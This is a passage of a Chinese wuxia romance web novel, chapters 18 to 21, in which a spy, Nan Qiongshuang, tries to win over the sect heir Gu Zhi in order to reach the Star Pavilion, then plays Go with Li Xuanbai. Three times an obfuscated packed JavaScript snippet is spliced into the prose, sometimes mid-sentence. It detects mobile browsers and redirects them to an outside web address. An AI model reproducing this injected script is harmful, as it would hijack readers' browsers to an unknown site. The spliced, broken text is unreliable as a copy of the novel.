搜查由宋瑶洁亲自督查,因此进行得很快,结案也很快。 南琼霜晨起刚接过屈术新送来的长生草,雾气里用汤匙搅着,就听闻颂梅房间里搜了东西出来。 据说,是一封亲笔遗书。说见一个身份不明毫无长处的女子被少掌门偏袒,心里不平已久,早已下决心某日杀之。 最后特意言明,遗书是颂梅抱着死心而写,一人做事,一人承担,与大师姐毫无关系,恳请展信者不要连累他人。 南琼霜听了,垂眸将药汤拨出一个浅浅的漩涡,热气迷蒙了眉眼。 唇边勾起一丝极微的笑。 这些人是不是全脑子不好的?这种东西也敢拿出来搪塞人。 无怪颂梅愚钝,原来是从宋瑶洁自上而下一脉传下来的。 顾止将那纸遗书折好,忽然瞥见她在看他,于是将那遗书递了过来。 “想看看吗?” 南琼霜没兴趣,左右不过是些虚的。 她摇了摇头。 那她……?顾止从圆凳上起身,走过来坐到她榻侧,温柔地候着她开口。 她抬头,手很忐忑似的去揪他的袖角,眼里又蓄起了一点泪: “公子不生我的气了?” 顾止错愕一瞬,哑然,“我何曾同姑娘生气?” 她嘟囔着,不去看他,声音轻轻的,“公子曾想过这辈子再不同我见面了,别以为我看不出。” 顾止沉默。 他确实想过。 那时他经宋瑶洁提醒,疑心她的身份,虽然心里仍挂念她,但细作之事关涉全山,他不敢赌。 没有什么比门派更重要,一点点疑心,就足够他斩断此前的微弱妄想。 不过,如今…… 几日前,她差点血尽而亡,都是因为他。 如今,也是因为受了他的冷遇,心里不安,才出了暮雪院,给自己惹来杀身之祸。 他视线落到她垂在身侧的手腕上。那样纤细,他稍一用力就会掰折了。 是他对不起她。 他叹息道,“是我的不是,对不住。” 她却摇了摇头,“公子,我想听的,并不是对不住。” 顾止抬起眼。 她温柔又认真地,恳求道,“我想要的,是公子……不论何时,都不会将我抛下。” 窗外风动,树中鸟扇着翅膀惊起,婆娑颤动的绿影中几声惊心的鸟啼。 她睫毛上挂着露水。他又让她哭了。 该去帮她把泪拭下来,可惜他不能。于是低低道,“好。” 她试探着,颤颤伸出一根玉白的小拇指。 “拉钩?” 怎么像小孩似的,他失笑。 伸出他的小拇指,一勾。 很柔软。 “楚姑娘,虽则如此,我还有一些事情想问你。” 语气严肃,她心中一紧。 箭羽新旧的问题,归根到底是个隐患。 那箭,不知旁人能否发觉,但若由她来看,第一眼就知新旧有别,不会有错。 顾止若正襟危色地问,问的只怕是这事。 她垂眸,缓缓地拨着药汤。 顾止想问,却没问出口,一顿。 南琼霜心事重重地等着。 想了想,他又开了口,却垂着眼睛,不去看她,只盯着她耳朵旁边那颗梨花色的小耳坠。 半晌,他道: “楚姑娘……同玄白很熟?” 19. 第 19 章 这话问得她一愣。 李玄白? “倒并不熟……不过是我在林中中箭,李公子似乎住在那附近,刚巧遇到,于是将我带了回来。” 说到这,她一颗心又猛地一紧。 他们是在李玄白的住处相遇,并不是在林中。不知道李玄白会不会替她圆谎。 “不过是偶然相遇吗?”他再次确认般的道。 南琼霜心中想,这是在怀疑她早与山内人勾结? 却忽然发现了他通红的耳尖。 他脸红什么? 下一瞬,南琼霜心里有了一个答案。 ……不会吧? 却见顾止垂下眼,松了口气,那样子竟然是南琼霜有点难以置信的乖巧,叹了一声: “那就好。” 南琼霜的指甲在药碗边叩了两下。 他这是……有点吃味? 因她和李玄白一同回来? 她垂眸低头,舀了一勺汤药在口里,心中思索着,连苦味也不觉。 吃味又何必脸红?她见过那么多男人,也常常刻意引人吃味,但那些男人,脾气爆的往往当即吹胡子瞪眼,较能装的便平静无波地揭过。 倒还没有仅仅因为吃味,就脸红了的。 难道……这位江湖上有名的天山派少掌门,连头发丝都挑不出一丝瑕疵的无双君子,竟尚腼腆纯情? 南琼霜古怪地看了顾止一眼。 顾止长发披垂了一身,垂着的眼沉静如水,额鼻如琢玉,矜雅得像一座落花片片的雪山。 见她喝着药,他问,“烫不烫?” 似乎是有一点,但南琼霜忍惯痛也忍惯烫,于是摇摇头,笑,“还好。” 顾止又道,“是顾某对姑娘不住,带姑娘上山,本是要为姑娘解毒,不想竟使姑娘遭人嫉恨。是顾某思量不周。” 这话说得南琼霜心里一紧,赶忙道,“顾公子关照我,有些人因而不平,倒也是人之常情。不过,也幸好有公子关照,才使有些人心生忌惮。”意味深长道,“若公子将我置之不理,那我可真成了砧板上的肉了。” 顾止沉默不言。 良久,他长叹一声。 又道了一句,“顾某对不住姑娘。” …… 这一句话,南琼霜自认识顾止头一天起,就一直听他挂在嘴边。 她默了默。 忽然道,“其实,公子不必同我道歉。” 顾止有点诧异地抬眼。 她搅着药汤,神色淡淡,“我惹了其他人不悦,不是公子的责任,原因在我。是我选择与颂梅同去,尽管我明知山上危险,也明知她不喜我。” “即便那日,普觉寺中毒,也是我明知公子与人打斗,却不曾站远,非定在那里观战之故。公子实在不必怪到自己身上。” 顾止闻言,一愣,一时不知道说什么。 她继续道,“其实,个人境遇都是个人选择,每个人都要为当初的一念付出些东西。该该公子担的,公子担;不该公子担的,公子也不必揽在自己身上。” “我明白,公子是作为下一任掌门被培养长大,故而从小就要担负起一切。但其实,本不必如此。” 她轻轻道,“人各有其路。这样下去,公子会把自己耗尽的。” “公子本不必承担这些。” 顾止静了许久,不说话。 窗外晨起的鸟儿在枝头间雀跃鸣啼,花影摇动,筛落几缕日光。 窗里吹进几点花片,打着旋落在地板上。 顾止默然看着那些花片落在脚下,落在她坐着的榻侧。 也不知在想什么,只是出神。 从没有人对他说过这些。 自从出生以来,人人都是一样的表情对他,千百张脸,都是一样的期待与殷切。 他是天山之后,未来的掌门,甚至在连名字都没有的时候,就已经被要求成为众望所归的一山之主。 他要担的向来比别人多。远的、近的,对的、错的,与他有关的、与他无关的,都是他的责任。事事都可罚他半日。 他也没有怨言,他认。 但是,倒是头一次有人对他说,这个样子,会把他自己耗尽的。 会把他自己耗尽的。 会吗? 他竟从来没想过,这山上若出了不该出的事,那错或许并不全在他。 他竟可以这样想吗? 顾止坐在她榻侧,不知道沉默了多久,静得如一尊蜡像。 脸色飞速变换,眼见着是出神愣怔、千头万绪。 南琼霜一声轻叹,又舀了一勺汤药。 她其实素不与任务目标谈心的。何必呢?男人爱上她是很容易的事,她无需袒露自己的心,哪怕只有一点点。 今日,她稍微说得多了些,只是为还他当众庇护、那颗回元丹和那滴见了她受伤、砸在她手背上的泪。 他人太好,连她也不得不动容。 顾止回过了神,起身去桌上小匣子里摸出几块红糖,递到她掌心。 又拿起桌上一颗红彤彤的苹果,自然而然地替她削去了皮,从中切开。 递到她面前。 “那么苦,用点甜的,顶一顶吧。” 南琼霜一愣,迟疑着又舔了一下唇。 很苦吗? 她没有苦的概念。 却见顾止脸色,一瞬僵了僵。 像忽然被人踢了一脚似的,下一秒,他直接把那苹果强塞到她手里,转过身就站了起来。 背对着她道,“楚姑娘好好用药。晚上顾某再回来陪姑娘说话。” 语气生硬仓促得紧。 南琼霜疑惑抬头,望着他背影,十分不解。 她哪里惹了他不快?突然之间就变脸。 并且……她受了箭伤躺在他床上的时候,他不是已经开始唤她“皎皎”了吗? 怎么又变回来了? 却在他匆匆转身离去的一瞬,窥见了他染红的耳尖。 跨过门槛,顾止抬头望了望婆娑树影。 他自己也没想到自己竟有这么大的反应。 其实也没有什么。不过他说苦,劝她吃些甜的,于是她伸出软软的舌尖,轻舔了一下自己的唇。 虽然那药烫得她唇色嫣红。 虽然那软软的舌尖晶晶亮。 虽然她舔了那一下,于是花瓣般的唇,顿时濡湿水亮。 虽然那上勾的唇角、饱满的唇珠,看起来,非常适于……。 楚姑娘只会留在山上三月,他也不知是怎么了,当真是害了病。 于是几乎夺门而逃。 * 这些日子,南琼霜一直在等待山内对宋瑶洁的处理结果。 虽然颂梅留了一封所谓的遗书,但实在太拙劣,她不相信天山派的人竟会相信宋瑶洁的说辞。 何况,颂梅熟知山上道路和机关地形,打着保护引路的旗号跟她同行,最后却双双在一条不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969204|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该走的小路上为机关所伤。这样的事情,颂梅几乎已经不是嫌疑,而是板上钉钉。 既然颂梅是板上钉钉,那么宋瑶洁的授意,也就是板上钉钉。 不论宋瑶洁如何编造说辞,事情仍是清楚显豁——倘若宋瑶洁不为她兜底,颂梅必没有这个胆子。 南琼霜想得明白的东西,山内人晓得宋瑶洁和颂梅心性,只会更明白。 如何处置,全看山内对顾止的态度。 那日顾止当着众人面为她和宋瑶洁起争执,立场摆得明白,瞎子都能看出来。 倘若如此,山内对宋瑶洁的处罚还是无关痛痒,那么便是宋瑶洁一派如今正压过顾止,哪怕顾止偏袒她,也不能扭转局面。 如此,是否要杀宋瑶洁,她务必得再掂量掂量。 七日后,山内敲定了对宋瑶洁的处置:于思过崖下禁闭三日。 既不轻,也不算重。 顾止似乎并不是如她所想那般徒有空架子。 不过,让南琼霜想了又想的,却是这个时间。 不轻也不重的处罚,原本很快就可以敲定,却生生拖了七日。 显见是山内一度十分为难。 以顾止那正直性格,想必不会容忍此事轻松揭过;但如今掌门闭关,掌权的是慧德师叔,宋瑶洁又是师叔入室首徒,加上师叔也久对顾止过分偏袒她而不满,想必双方在此事上拉扯已久。 最后双方各退一步,息事宁人。 南琼霜将锅中煮烂的红山楂一颗颗捞出来,放在碗里,又在锅中加了冰糖。 红艳艳的山楂水被勺子搅得卷出一个漩涡,冰糖顷刻融化,看不见了。 她舀起一勺,在唇边吹着,一面心中想。 如今宋瑶洁恐怕还是难以动摇,冒险除掉她,怕带来的麻烦,比解决的麻烦还要多。 不杀为好。 既然顾止与宋瑶洁生了嫌隙,不如她直接问顾止带她游山,去见见那星辰阁。 却忽然一激灵,皱了下眉头。 看着勺中的山楂水,道,“好酸。” * 南琼霜坐在阶上,脚下一盏绘着桂花的圆的纸灯笼,撑着腮等顾止。 夜色已晚,繁星密密匝匝地铺在天底,晚风习习,风将落花和蝉鸣一并送来,台阶缝里堆了不少花片。 蚊虫太多,南琼霜出神望着围着灯笼飞个不停的小虫,不断用手在腿和脚面拍着。 还不回来。 不会又被罚了吧,这次明明是宋瑶洁的错。 她做的山楂冰圆子都快化了。 又过了一会,终于院门大开,顾止提灯而入。 见了她,略有些诧异,“楚姑娘怎么在这?” 她撑着腮,笑眼亮晶晶的,“在等你呀。” “等我?”顾止含笑,将灯交给侍女手中,一面由着侍女替他脱去外衣,一面拿了个软垫,递给她,“地上凉。” 南琼霜接过那垫子,坐好,道,“我日日在山上,实在没什么事可做,公子又不让我出去,就只能等公子回来,跟我说说话。” 顾止坐在她身侧,笑,“寂寞了?” “倒也没有。我父母是早去了的,在山上倒更好,”灯笼的光柔和温暖,拢在她脸上,映得她睫毛如鸦羽一般翘而纤密,她沉思着,轻轻道: “至少在山上,还有公子。” 说完,刻意不去看他。 顾止一怔,垂下眼睛,喉结滚动一下,并没说话。 20. 第 20 章 许久,顾止道,“……姑娘在山外,是一个人吗?” 南琼霜乖巧点头,“是呀。每日就在江上,渡来渡去的。见到的人都是客,来来往往,谁也留不下。”笑看了顾止一眼,“不像公子,身边人全在山上。” 顾止笑,“自小被关在山上,自然亲人全在身边。” 南琼霜意味深长地接,“那公子身边自然是热热闹闹的了。” 顾止一时沉默,良久,笑道,“也算是吧。师姐师叔常在我身边,我父亲倒是常年闭关。” 南琼霜笑了,揶揄着,“‘也算?’怎么叫人听出些勉强的味道。” 顾止一时竟不知道怎么答,思忖片刻,笑着摇头:“师姐性子严厉清高,不喜人近前。师叔是罚我罚惯了的。至于其他人,听见‘少掌门’三字,早做鸟兽散了,不敢与我玩闹。” 南琼霜勾着鬓边一缕发丝,灯笼的光荧荧柔和映在她脸上,她忽然笑吟吟问了一句: “李公子李玄白呢?” 他默了一瞬。 “楚姑娘很在意他?” 垂着眼,不去看她,但是显然有点不自在。 “倒也不是。”她笑开,手肘支在膝盖上,偏着头,笑得有点娇俏,“我只是想,李公子同公子是一样的练得好,山内也说得上话,岂非最佳的朋友之选。” “我同玄白路数不合。”他抬起眼,望进繁星低垂的夜空,“我有喜爱之物便抓了不放手,他更洒脱些。” “我晓得。”她随口就捏了个谎,“那日他带我回来,我问有什么可让我报恩的,他很利落地道不必了。” “楚姑娘离他远些。”顾止忽然道。 她心里紧了一瞬,这是他也发觉李玄白身份不一般? “他为人轻佻。”他道。 南琼霜听着,情不自禁噗嗤一笑。 这么君子的人,怎么竟因为这两句话背后讲人的?小孩似的。 柔和的灯笼光里,南琼霜握着汤匙,舀了一颗红的山楂圆子入口,“这么说,难道公子身边看起来热闹,实则也寂寞得紧?” “我也不去想什么寂寞不寂寞的……”山风吹落花瓣,顾止垂眼,几乎有些禅意。 南琼霜了然,手肘搁在膝盖上,撑着腮笑。暖融融的灯笼光映得她人温柔一片,发丝筛着光,毛茸茸,一圈金色细边。 顾止一愣。 她的卧蚕和鼻尖竟然被光照得亮亮的,眼底一片惊人的透澈亮光。 一种认真神色,一个清丽脱俗又俏生生的笑。 望向那双含水笑眼的一刻,顾止竟像被那眸底闪着光的水湖攫住了魂魄似的,一瞬呆了。 落花片片。 擦过她笑意盈盈的眉眼。 落花从她发顶擦到下巴的时候,南琼霜轻轻开口: “是呀,寂寞惯了的人,不会发觉自己很寂寞。” 声音竟那般动听,像是深山无人处,山精低低的喟叹。 顾止喉结滚动一瞬,放在膝上的手捏了捏。 若无其事地垂下眼眸,不看她。 他很寂寞吗? 他当真没有想过这个问题。 山上事情太多,慧德师叔除要事外皆不过问,每天不知道多少事等着他定夺。 他没有闲暇想这个问题,他没有那个顾影自怜的余裕。 但是,若真问起来…… 他当真不寂寞吗? 父亲常年闭关,师叔偏爱李玄白和宋瑶洁。 师叔的爱,他自然是拿不到的,不罚他都算好了。 父亲就更不必说,别说尚在闭关,就算出关,也未必情愿掀开眼皮子瞧他一眼。十多年了,他一直困在他那个天纵奇才但早夭的哥哥的死里。 不论他如何努力,父亲都看不见他。 哪怕一瞬。 至于朋友……一个每日忙得脚不沾地的人,不会有任何深交。 连交往最多的宋瑶洁,也不过抱着光荣全山的念头,日日督促他练功,最好不舍昼夜。 无端就想起她方才那句“至少在山上,还有公子”。 他何尝不是…… 顾止眸子凝滞一瞬。 他何尝不是什么? 楚姑娘只会在山上三月。 你何尝不是什么? 顾止道,“其实,山上很好,人人都很好,何况我也惯了,哪里会寂寞?” 方才那漫长的愣怔其实已经是答案。南琼霜笑而不语,只是低头去吃冰圆子。 一低头,鬓边的碎发垂落下去,一不小心黏在了唇上。 下一秒,他竟然发现他自然而然地,伸出手,想替她把碎发捋下来。 你这是在做什么?!他心里大惊。 正欲缩回手,却忽然见到了,他玉白的指节畔,那两片花瓣一样的唇。 颜色竟那样嫣然,山楂红,带着冰圆子的丝丝寒气。 微微翻翘着。 像冷而艳的蔷薇花瓣。 她恍若不觉,自然地将唇上黏着的发丝拉下来。 那细细的乌黑的头发丝,缓缓擦过她圆圆的唇珠、饱满的唇瓣,刮过几道浅浅的纹路,刮过唇角,从那香软不堪的更深处,几乎淫*靡地,拉了出来。 发丝沾了糖水,想来该是甜的。 他脑子里轰然一声霹雳。 他到底在想什么? 南琼霜浑然不知,捧着碗,继续搅着碗里的山楂水。 他只是出神,望着她雪白的脖颈,和耳畔那一颗小小的紫木耳坠。 看了一瞬,不敢看了。 全身都不受控制地发起抖来,他微不可见地往旁边坐了坐。 如果聪明,他不该继续在这待了。 可是,她却撑着腮,出神望着月亮,仿若喃喃似的道,“那怎么办?公子在,我比较不寂寞。” 他胸口好像有什么,不受控制地烧开,要活生生烧出一个洞。 张了张口,想说话,却吐不出一个字。 一阵长久的沉默。 说了这么暧昧的话,等他回应,却半天没等来一个字。 南琼霜转头看他,发现他竟然面无表情,神色不为所动。似乎她的话,他毫无兴趣,也毫不放在心上。 她烦躁闭了闭眼。 冰雕雪琢的人,叫他动一点心,当真是难。 罢了,她想,不如不铺垫,直接问吧,道,“我一个人待着太无趣,不知公子若得闲,能否陪我出去游山?” 特别是,星辰阁。 没点明,怕他起疑。 笑意盈盈地看着他,等他回应。 他却仍不说话。 顾止不是不想答应。 他没听见。 在这时候,他竟想起了那个梦。 那个梦……她一身华服,在满载姹紫嫣红的窄舟中,跪爬着伏在他身上。一双纤细的芬芳的手,缓缓地,试探着,抚摸过他全身。 从下颌,到双颊,到鼻梁,到……他的唇。 同样的那两片唇,同样的湿润、同样惊人的色泽,同样的……不远不近、停在他脸侧。 他僵了一瞬,忽然发现,身上有什么不对劲。 下一秒,仿佛被人兜头泼了一盆凉水。 他怎么会…… 他不敢再待了,再多待一秒,他都会露馅。 他腾地一下站起来,连句衔接的话也没有,脸色冷硬得吓人。 “顾某尚有事,不多陪了。” 转身就上了石阶。 连个正面的影儿也不敢给她看。 南琼霜回身,望着他忽然决绝异常的背影,心里七上八下的拿不准。 这是怎么了?一贯好脾性的人,忽然生人勿近成那个样子。 他何曾拿出那难以接近的姿态对她? 只是提了一嘴游山。 他起疑了? 眼下冰圆子已经化了大半,她垂下眸,若有所思地在山楂水里搅了搅。 怎么竟然是这个反应,难为她发现那时她喝药,他曾盯着她烫得微红的唇看,于是特意做了这碗山楂冰圆子,吃给他看。 还特意寻了头上有落花的位置,在脚底下点了盏灯笼照着。她左脸更好看些,灯笼光也会将她眼睛映得更亮。 甚至戴了七乌香木磨成的小耳坠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾止那一晚的背影太冷漠,冷漠得她提心吊胆。 她一晚没睡,天蒙蒙亮的时候,决定想法子再试探一下。 于是,第二日未时,她晓得顾止一贯会回院小憩,掐了时辰,拿着柄团扇,在圆石桌上趴着休息。 山风阵阵,吹散落花,落了几片在她双颊上。 山上不比别处,只是随意待着,也是凉风习习。 石桌又寒凉,倘若真在这休息,难免要着了凉。 顾止若看见,往日定然是要过来拍拍她的肩,叫她回房休息的。 再不济,至少也会拿一件外衣过来,轻轻替她披在肩上。 不想,今日,南琼霜阖着眼睛趴在臂窝里,静静听着院内的动静。 阳光自起伏的树影中筛落,斜斜落在她酣睡的面容上。 却听见顾止练完了功,推开了院门。 周遭人几道低低的问好之声。 顾止如常地应。 衣摆如往常一般敛过地面,拂过落花和树叶,发出一点窸窣的声音。 径直进了屋内。 甚至不曾往她的方向,停留一瞬。 南琼霜搁在圆石桌面上的手,几不可见地捏了捏。 又是这样,又来了。 他又在冷落她。 他怎么可能没看见?那样心细的人,装没看见罢了。 究竟又是怎么了,竟待她如此冷漠? 这么久以来,还真没有男子,能在她南琼霜的裙摆下,负隅顽抗这么久的。 她心中道。 世上有明月,不问人间事。听说这是他同门写给他的两句打油诗。 这两句诗,当真是写得不错。 好一个清心冷性、克己寡欲之人。 21. 第 21 章 南琼霜难得地感到挫败。 刚把顾止的心掰回来一点,没等她把话头往星辰阁镇山玉牌引,就不知怎么,又回到了原点。 最开始,她估计得太乐观,竟以为取他的心如探囊取物。 现在才明白,常年居于山巅的明月白雪,并不会轻易为谁走下高台。 所谓高岭之花,或许是因为从未肖想过任何一个女子的缘故。 竟真像神仙似的,不动凡心。 她抬手在眉心按着,眉心仍是怦怦跳。 跟男人,一味地倒贴,起不了任何作用。 李玄白呢?这些日子没有一点消息。 怎么竟还不来寻她。 要去见李玄白,恐怕要先说给顾止,等顾止同意。 上一回,她私自出院,受了不小的伤,侍卫是断断不敢再放她出门的了。 于是,她在院内等顾止。 久等不来,她随手抓过石桌上一张空无一子的棋盘,从棋盒里随手捞出来两枚棋,随意摆了,自己跟自己百无聊赖地对弈。 正摆着,忽然院门大开了,院内众侍仆阻止不及,她一抬眼,忽然瞥见对面石凳前站了一双虎纹黑皮靴。 面前人盛气凌人抱着肩膀,居高临下看着她,神色是一如既往的顽劣。 是李玄白。 他竟然直接冲进了顾止院子中来了?当真不把这位少掌门放在眼里的。 南琼霜搓着耳坠,正权衡着是否要当着这院中众人的面跟他讲话,忽然见他伸出一只手,走到她面前,毫不讲理道: “跟我走。” 南琼霜一愣,“什么?” “什么‘什么’?”他理所当然道,“这么久,伤也养好了。你日日待在房中不腻?” “我……”情势变得太快,方才她还趴在石桌上不知道该干点什么,现下却是不知道该怎么办,她少见的有点迷茫。 李玄白没给她犹豫的机会,上来就抓住她手臂将她拉起了身,拽着她手臂,一步步将她牵出了院,却在抬步跨门槛的时候被阿松拦下。 阿松神色恭谨,将院门挡了个严实: “楚姑娘是少掌门之客,玄白师兄欲带走楚姑娘,至少需先问过少掌门。” “问过了。”他停也未停,抓着她就往阿松身侧走,“没答应,所以我直接来带人。” 阿松太阳穴一跳。 “既然未得少掌门允准,私自带走楚姑娘,玄白师兄不怕少掌门罚?” “罚?”李玄白已经拉着她走过了阿松,迎面一片高旷的天,回首嗤笑一声,耳下那颗鸽血水滴耳坠摇了两摇: “尽管来罚。我倒瞧瞧这位少掌门,管不管得了我。” 好狂的人。 怎么明明是细作,竟然会狂成这样? 南琼霜心里重新思量着去招惹这尊大佛到底对不对,一个不注意,已经被他拉出了院门。 院门缓缓关上,阿松在双门间徒劳望着她背影,鞭长莫及。 南琼霜:“你带我去哪?” 李玄白:“你想去哪?” 好问题。她正要开口让他带她去游山,特别是——星辰阁。 却听李玄白自顾自接,“除了我那凌绝阁,你还能想去哪?” 南琼霜:? “自作多情。”她评,“游山。哪里都想看看。”不能直说星辰阁,否则真是将此行目的写在脸上了。 李玄白走在前面,利落的高马尾垂到腰间一晃一晃: “有些地方确是好看,浮光谷、蝴蝶谷、化龙潭之类。不过有些地方眼下去不了,比如江左诸峰。时候未到,紫烟未散,三清峰那一片全去不了。” 南琼霜心里一动。星辰阁正在那三清峰上。 “紫烟?” “每到山花烂漫时节,江左那一片尽是云雾,色如暮紫,山上人称为紫烟。” 她心下一片烦躁,“那紫烟何时散尽?” 李玄白思索,“说不准,年年不同。若看往年,最快也要一个月。去年久些,满山云雾缭绕,等到瞧见星辰阁的琉璃瓦,山底下已是酷暑。” 南琼霜闻言,心里烦闷,碍于李玄白在侧,强自装得平静无波。 等星辰阁开至少还要一个月,去了还不知能不能进,若要进,她还得挑无人时自己进,何况那地方想必也不是容易进的。 三月之期,她还剩两个月。 断断来不及。 还是先从顾止下手吧。 李玄白犹自兴高采烈:“无妨,改日我先带你去江右这片玩。不过今日若要行山,天黑前怕是赶不回来,先去我那地方玩玩吧。” 她无奈又无语,望了他一眼,“去你那干嘛?” “干嘛?”他洒脱一笑,摊开手,“我也无聊。两个无聊的人,一起玩嘛。” * 今日天色正好,碧空如洗,风倒是小了不少。饶是凌绝阁伫立在那般高崖上,那片紫云英花海也不似那天那般涌动如潮,只是叶片轻轻颤着。 流云掠过。 在冰丝阵前站定,南琼霜事不关己地抱起胳膊。 李玄白:“走啊。” 南琼霜摊手:“怎么走?手不能提,肩不能扛。” 李玄白:“……装什么?” 南琼霜噙着笑犹自不语,站着不动。 如无必要,她绝对不会在天山上显山露水,哪怕这个人已经知道她会武功。 毕竟,她怎么知道有没有人在暗处尾随。 李玄白:“不是挺能跳的吗?再跳给我看看?” 南琼霜歪头,笑得春风满面,只是不动。 半晌,李玄白投降,嘟嘟囔囔走到她身侧,“无语,刚见面就捅了小爷两刀的女人,竟然装得跟朵白莲花似的。”穿过她膝弯,将她抱起。 南琼霜一支胳膊绕过他后颈,贴在他胸前,想,如果宋瑶洁或者暮雪院当真派了人尾随,不知道将这消息传给顾止时,顾止会作何反应。 会生气吗? 像那日,在他房中,为她而与宋瑶洁针锋相对那般? 想起那天,她心里感到一种微妙的满足。 顾止显然是向来脾气极好的,恐怕坐着少掌门之位,许多年来,不曾当众发过怒。 更遑论那个发怒的对象,是山内资历极深、地位极高的宋瑶洁。 平和之人为她而有了一瞬激动,就如完美无瑕的羊脂玉像,忽地有了一道裂纹。 有人说这裂纹是瑕疵,她偏说这裂纹本就是玉的另一面。 她喜欢他为她发怒,为她激动。 如果她跟李玄白亲近,便会动摇顾止心神,那就好极了。 忽然却想起方才,她刻意在石桌上小憩,他却视若无睹,径直走过了。 因为这些事而反常……他会吗? “到了。” 虎纹黑皮靴在木门前稳稳落定,南琼霜恍然发觉,她沉思这片刻,李玄白竟已抱着她,跃下了悬崖,在那棵花树上借力一跳,跳到了崖底那扇隐蔽的木门前。 花树落英翩翩,和着微尘,飘摇旋飞。 李玄白将门推开,光和花瓣一齐往门内奔涌。 他做了个手势:“请吧。” 凌绝阁内部,是一片寂寥清净。 从窄窄的楼梯上来,拐个弯,豁然开朗。崖上建的阁楼,采光格外好,楼内一片白朗朗天光。 宽阔的厅堂肃静的房,器物却低调简单,红木桌椅,白瓷杯盏。 南琼霜奇怪地瞧了他一眼。这人如此张扬骄纵,还以为是挥金如土之辈,不想用的东西这般素朴。 李玄白见她眼神就会她的意,懒懒理了理领口,“地势孤绝,东西搬不上来。你以为我不想?” 说着,走去那扇大开的窗旁,拿掸子将窗下一张罗汉床上的花瓣扫了扫,尽数扫到地上去。 又拿出一张矮桌,搁在罗汉床中间,又从柜里寻出一张棋盘。 南琼霜看着那些被他丢在地上管也不管的花瓣,眉尾很难受地颤了两下。 “来下棋啊。”床上人扬了扬下巴,示意矮桌对面的位置。 末了,没管那些花瓣,她提起衣摆,坐到他对面去。 “黑子白子?”李玄白问。 “白子。” 李玄白把盛着黑子的棋盒递过来。 “你先我先?” “我先。” 李玄白执着白子,抢先下了一着,抬起眼,兴致盎然地看她。 南琼霜毫不避讳地翻了个白眼。 “幼稚死了。”跟着落子。 棋咔哒咔哒落在棋盘上,李玄白手指摩挲着棋子,有一搭没一搭地问,“你整日在顾止那院子里不腻么?” “他不让我出门。山上似乎也确实危险。” “危险?”他笑意狡黠,狐狸眼下那颗小泪痣衬得人诡而俊艳: “你怕?” “不愿惹事生非而已。” 他又懒懒开了口,这回似乎是铺垫够了,开始切入主题:“顾止那人多无趣。” 闭了嘴,等着她应和。 她不应和。 不然呢?像他天天这般吊儿郎当就好么? 顾止日日公务缠身,忙得连人影都不见。他倒好,正是好时辰,拉着她一个闲人回房下棋。 等不到她的回答,他拨拨耳坠,自己接了自己的话,“又要安全,又要山规,又要名声。你在他那,连个出门的机会都没有。你要做的事,当真办得成?” 南琼霜抬头,“你要说什么?” 他笑了一下,不说话了。 白子又落下一颗。 说着话,双方棋势渐渐分明,南琼霜的黑子竟在他猛烈攻势下避无可避,能用的子散落满盘,形不成可用之势。 但是,这散沙般的满盘棋,只在一个关窍处,隐隐连接起来。 只要这一处有子,满盘皆活。 她垂着眼,手指夹着棋子,出神摩挲着。 只差一子。 只差一子,但差之毫厘,谬以千里。 此盘输了。南琼霜面无表情地将指间棋丢进棋盒里。 李玄白手指在桌上叩了两下,挑眉道,“让你一子?” 南琼霜懒懒撩起眼皮,瞥他一眼。 她不在意输赢,“不用。” 输赢不重要,重要的是摸清了他的脾气。 棋风凶悍、势如破竹,一子一子压着她下,压得她连气都喘不得。 显然是好胜心极强的性格。却在最后输赢一瞬间,说要让她一子。 那是为了让她吗? 那是为了显摆他自己。 李玄白在矮桌对面,弟子衣盛雪,人却如妖,笑得得意恣肆。 她道,“一盘棋而已,何必?昨日之日不可留,再来。” 几支香后,棋子复又落满全盘,黑白斑驳。 这一回倒是势均力敌。南琼霜摸明了李玄白的路数,终于开始一子一子地反制,面上容他为非作歹,却隐隐形成了瓮中捉鳖之势。 李玄白向来是个狂傲的,竟然笑得势在必得,“哗”一声甩开了折扇摇着,不拿她当一回事。 终于一颗黑子落下。 咔哒。 包围之势大成。 落花三三两两飘进来,折扇僵在腮边,李玄白手搁在鼻子底下,面色由轻松,到困惑,到诧异,再到晦暗不明。 南琼霜坐在他对面,悠闲自在地自斟了一盏茶。 手摸索着瓷盏边缘,她眼皮也不抬,不咸不淡地问,“下开心了?” 李玄白沉默不语,弓着身子几乎趴到了棋盘上,像一只好不容易发现了猎物、却忽然发现老鼠已经从墙缝跑了的猫。 错愕、乖戾、不甘心。 在桌上低低锤了一拳,锤得杯盏轻颤。 南琼霜只是捧杯饮茶。 凡事且看最后。 她向来爱玩阴的。 她笑得乖巧,歪着头,“让你一子?” 李玄白脸色只是更暗沉。 她在心里嗤笑,这个输不起的。 忽然一阵风来,卷起几张李玄白放在桌侧的字帖,吹落在地上。 既然李玄白尚在思索,她弯腰下去捡。 捡好了,也理齐了,她将其余字帖一齐边对边地对正,叠成工整的一叠,拿白玉梅花镇纸压好。 再回头看棋盘时,包围之势却又散了。 一颗做枢纽的黑子无端飞了,于是满盘皆乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 